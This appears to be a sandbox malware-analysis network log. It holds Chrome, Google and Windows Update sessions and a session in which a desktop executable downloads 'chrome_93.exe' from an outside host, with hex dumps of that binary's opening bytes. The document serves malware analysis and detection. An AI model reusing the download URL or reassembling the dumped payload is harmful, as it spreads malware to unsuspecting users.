role\u003d\"heading\"\u003e \u003c\/span\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_v
2024-10-29 03:17:06 UTC	1378	IN	Data Raw: 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 Data Ascii: vg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810
2024-10-29 03:17:06 UTC	1378	IN	Data Raw: 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 Data Ascii: 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18
2024-10-29 03:17:06 UTC	1378	IN	Data Raw: 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 33 30 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 Data Ascii: 2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700330,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar
2024-10-29 03:17:06 UTC	1378	IN	Data Raw: 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 59 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 59 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 56 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 57 67 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 5b 57 64 28 5c 22 64 61 74 61 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 57 64 28 5c 22 6d 61 69 6c 74 6f 5c Data Ascii: globalThis.trustedTypes;_.Yd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Zd\u003dnew _.Yd(\"about:invalid#zClosurez\");_.Vd\u003dclass{constructor(a){this.Wg\u003da}};_.$d\u003d[Wd(\"data\"),Wd(\"http\"),Wd(\"https\"),Wd(\"mailto\
2024-10-29 03:17:06 UTC	67	IN	Data Raw: 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 6f 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 0d 0a Data Ascii: ;return a};_.oe\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(
2024-10-29 03:17:06 UTC	371	IN	Data Raw: 31 36 63 0d 0a 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 70 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 75 30 30 33 64 5f 2e 51 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 Data Ascii: 16cd\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.pe\u003dfunction(a){var b\u003d_.Qa(a);return b\u003d\u003d\"array
2024-10-29 03:17:07 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 62 28 61 2c 62 2c 63 2c 21 31 29 21 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 7d 3b 5f 2e 72 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 64 65 28 5f 2e 59 63 28 61 2c 62 29 29 7d 3b 5f 2e 53 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 63 65 28 5f 2e 59 63 28 61 2c 62 29 29 7d 3b 5f 2e 54 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 5c 75 30 30 33 64 30 29 7b 72 65 74 75 72 6e 20 5f 2e 42 62 28 5f 2e 72 65 28 61 2c 62 29 2c 63 29 7d 3b 5f 2e 73 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 5c 75 30 30 33 64 30 29 7b 72 65 74 75 72 6e 20 5f 2e 42 62 28 5f 2e 53 28 61 2c 62 29 2c 63 29 7d 3b 5f 2e 75 65 5c 75 Data Ascii: 8000b(a,b,c,!1)!\u003d\u003dvoid 0};_.re\u003dfunction(a,b){return _.de(_.Yc(a,b))};_.S\u003dfunction(a,b){return _.ce(_.Yc(a,b))};_.T\u003dfunction(a,b,c\u003d0){return _.Bb(_.re(a,b),c)};_.se\u003dfunction(a,b,c\u003d0){return _.Bb(_.S(a,b),c)};_.ue\u

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49739	142.250.186.100	443	7844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:17:06 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 03:17:07 UTC	957	IN	HTTP/1.1 200 OK Version: 689297125 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 29 Oct 2024 03:17:07 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-29 03:17:07 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-10-29 03:17:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49751	142.250.185.78	443	7844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:17:12 UTC	726	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 913 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 03:17:12 UTC	913	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 30 31 37 31 38 32 39 32 30 36 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1730171829206",null,null,null,
2024-10-29 03:17:12 UTC	937	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=OjkbW5bznCa1E3mI-z2ArYP8egasBKCc6PElqqcOAdDXulQKKVvNHKnJZtRdCeZBR5ELDVrUWgLLXZvQWN0rp-4HVP83la-n8B1y76_HsEnX5OxHjSgj2aPex-dFjcv3GWGAMNxCEhRdmT7d68KGf4iYFmG3U85Gl86oH4bWagdYlWTx-wo; expires=Wed, 30-Apr-2025 03:17:12 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Tue, 29 Oct 2024 03:17:12 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Tue, 29 Oct 2024 03:17:12 GMT Connection: close Transfer-Encoding: chunked
2024-10-29 03:17:12 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-10-29 03:17:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49753	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:17:14 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=PLAkm+BST3MllS1&MD=+y2vvvOK HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-29 03:17:14 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 07f7077e-4f9e-40f3-bf55-167c2d2c85f0 MS-RequestId: 626256a1-f9b0-43c8-bb5e-990b9943bfb5 MS-CV: 0wfcazGkKEmLpdZo.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 29 Oct 2024 03:17:13 GMT Connection: close Content-Length: 24490
2024-10-29 03:17:14 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-29 03:17:14 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49761	87.106.236.48	443	7484	C:\Users\user\Desktop\X9d3758tok.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:17:27 UTC	81	OUT	GET /chrome_93.exe HTTP/1.1 Host: campuspersever.es Cache-Control: no-cache
2024-10-29 03:17:28 UTC	272	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 29 Oct 2024 03:17:28 GMT Content-Type: application/octet-stream Content-Length: 8582552 Last-Modified: Tue, 29 Oct 2024 00:39:39 GMT Connection: close ETag: "67202ecb-82f598" X-Powered-By: PleskLin Accept-Ranges: bytes
2024-10-29 03:17:28 UTC	16112	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 0e 00 8a 2e 20 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 00 00 10 01 00 00 a0 6c 00 00 00 00 00 f0 c8 c2 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 f3 00 00 04 00 00 c2 16 83 00 02 00 60 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEd. g"l@0`
2024-10-29 03:17:28 UTC	16384	IN	Data Raw: d4 1c 32 e6 ae ea cc a2 a7 8d fb d7 57 09 94 00 14 5d ea 2c d7 1c 8e 24 5f ff 80 94 b9 65 5c e5 6c 37 81 46 62 6f 4b 66 fc bc 72 de ef 36 38 64 19 95 76 4d f3 49 ea 2c d6 7c 54 67 3e 95 15 73 28 41 4c b8 ef 17 46 7b d4 23 db d9 1b 08 5a 2f 84 95 14 55 10 5e f1 5b 2f b8 cb 6d b0 c4 24 44 04 8e 35 3c 23 97 39 53 92 1c 30 b6 ab e7 cd 4c 77 69 e3 cc 31 7a 54 35 aa 07 fc f3 20 3b ee 32 af b9 fb 92 88 98 aa 4c 1b 9b 25 2c 5f f1 14 34 8f 57 bc b8 81 e3 61 22 86 ee 8a 98 69 64 85 0e 19 52 3f 93 2c 60 2b eb 52 fd 78 0b f4 e0 79 1c d9 fd b4 6d 82 06 d4 3b 6c 4c dd a0 66 a9 7f 35 b3 62 84 38 b7 92 e5 de e3 a0 66 75 2d f6 24 eb 06 ef 29 5b 49 e5 63 98 50 72 54 04 1f 3c 1f 50 e0 1c 04 c4 87 5f db 85 b1 e7 d7 dc b2 b8 75 a0 c1 d6 56 3a 19 d7 39 20 0f 5d 30 db 0b 6f 83 Data Ascii: 2W],$_e\l7FboKfr68dvMI,\|Tg>s(ALF{#Z/U^[/m$D5<#9S0Lwi1zT5 ;2L%,_4Wa"idR?,`+Rxym;lLf5b8fu-$)[IcPrT<P_uV:9 ]0o
2024-10-29 03:17:28 UTC	16384	IN	Data Raw: 1d 47 ff a7 7a 75 1c a3 7d d6 aa a4 74 fa 36 3e 78 f1 f8 a4 7b 33 fa 99 8c 11 fb ae 39 ff de ac 07 7d 71 32 97 aa 68 44 c4 a2 62 72 c3 c4 7a 75 da f2 6b 2f d8 5e 5c f6 6a ec 12 85 5e e6 ee 84 6d 25 c9 b8 c8 f6 22 86 e1 d2 0c 36 fb 05 39 da 23 1d 7c 16 b1 03 63 7a d1 e8 51 ee 28 16 33 df ac 1c 25 d3 e3 fa 31 d4 24 8a 79 e3 01 fb 44 d6 3e 0c 3a 15 21 ca 07 f8 1a 0e 20 d6 38 03 96 00 8c fb 4f a1 87 49 29 a9 74 4a ce bb 87 32 ff b6 76 fc b4 2e e8 c6 4c 11 f7 ef 7b 18 f0 ce a7 28 e0 f6 0a 99 ce fb c6 6a a4 76 84 10 b3 ef bf 57 cc 8a ab 64 bd 9b 88 26 45 26 b0 4e 4b 68 a4 b6 aa 61 a5 5a ab 6d b4 fd a4 28 dd 40 90 06 26 92 04 12 f6 88 69 4a ea 86 64 6b fd c9 65 57 fa 90 e7 bc f6 9c f7 66 79 b4 02 68 75 1b eb a0 6a 06 dc c3 6c 23 da f9 71 03 7d b6 28 36 df f8 21 Data Ascii: Gzu}t6>x{39}q2hDbrzuk/^\j^m%"69#\|czQ(3%1$yD>:! 8OI)tJ2v.L{(jvWd&E&NKhaZm(@&iJdkeWfyhujl#q}(6!
2024-10-29 03:17:28 UTC	16384	IN	Data Raw: 87 42 fa a7 06 3e 62 db cd b1 44 eb 7e 3e 01 de ca 2b 98 b4 80 00 db dd 3a 24 8b a4 ef d7 28 b5 40 42 e1 b8 fd 9c e3 5d 96 2a 3d 97 c4 50 69 5d ce fd 7b bc c3 12 26 fb 3a 14 a1 e0 29 1d 7e 72 3a 26 61 b3 81 3c a2 2d 3a 8f 2c 5b d8 ef 67 46 ba dc 48 d2 eb 14 69 f7 df 3e 63 3d bc f9 88 51 b2 eb 7b 7e e1 e6 85 7d 3a 10 22 d3 f5 d5 72 96 e2 86 22 66 4a f1 04 be 3d be 61 52 53 20 12 a2 de bb 23 df c2 08 8d 9c 24 52 22 34 12 3e ae 82 fa 2b bb 8b e6 5d 45 78 08 be 7b 58 7a bc 22 d6 cf 41 5a 9d 7e 3e 59 a0 38 bf 87 84 db 34 21 21 58 c4 9f b2 bf d8 22 5e cf 0c 78 c0 7e 40 af d7 ba 48 27 8b d5 f3 dd b0 ba fe 87 70 3a 61 cb dd c3 03 cd cd a2 ff 80 7e 88 10 8f 94 d5 16 69 9d ba fb 63 d1 c4 24 bf ce cb 3e 7a bf 39 0e 59 9f 11 b6 22 60 1e 5c cf 80 24 ec 9b dd 82 9e 22 Data Ascii: B>bD~>+:$(@B]*=Pi]{&:)~r:&a<-:,[gFHi>c=Q{~}:"r"fJ=aRS #$R"4>+]Ex{Xz"AZ~>Y84!!X"^x~@H'p:a~ic$>z9Y"`\$"
2024-10-29 03:17:28 UTC	16384	IN	Data Raw: 83 b7 c2 bc 9b ec 8e 91 c5 33 f4 c8 39 bb 72 99 ce 13 a8 2d ea 1a 86 4a 0e 3a 5a 80 fb 28 b7 d4 c0 0c 22 a6 c4 7a 85 9e f7 41 bb b3 e5 fe a5 8f c2 56 5b bf d4 3e 81 c5 dd ea 66 ca e0 f8 61 cd cc fc 63 58 e8 e0 55 54 1a 42 1f 21 5f 01 81 80 87 52 b7 ab d3 0f 84 e0 c3 1a 26 89 ea 07 78 9f 88 40 7c 64 c3 e6 55 96 c7 08 52 9d ba f9 be aa e2 e8 22 de 88 ef 66 df ec 1d c9 dd c9 f1 53 9f db 21 68 9b 73 5e 42 9f f3 ea 84 da c0 fa 82 cb 50 43 5b d6 8b 2d 02 b1 f7 36 27 92 2d 36 52 95 ee e8 78 75 39 5f c1 c0 7f fa 82 82 e7 ae a9 1d ba ef b9 81 c8 18 f1 fb 00 88 62 0b e2 ae 7d 86 82 fd 65 51 40 0a a1 30 d7 30 85 f5 95 42 27 ca bf 0c 75 52 13 0d 14 d0 02 e8 ca 9e f6 23 81 2b ca b5 88 e3 c3 42 5c ae e4 61 25 cb 03 9e 72 c6 df 44 7c d8 cd ff 53 ce 44 17 cd 9a 47 1b 72 Data Ascii: 39r-J:Z("zAV[>facXUTB!_R&x@\|dUR"fS!hs^BPC[-6'-6Rxu9_b}eQ@00B'uR#+B\a%rD\|SDGr
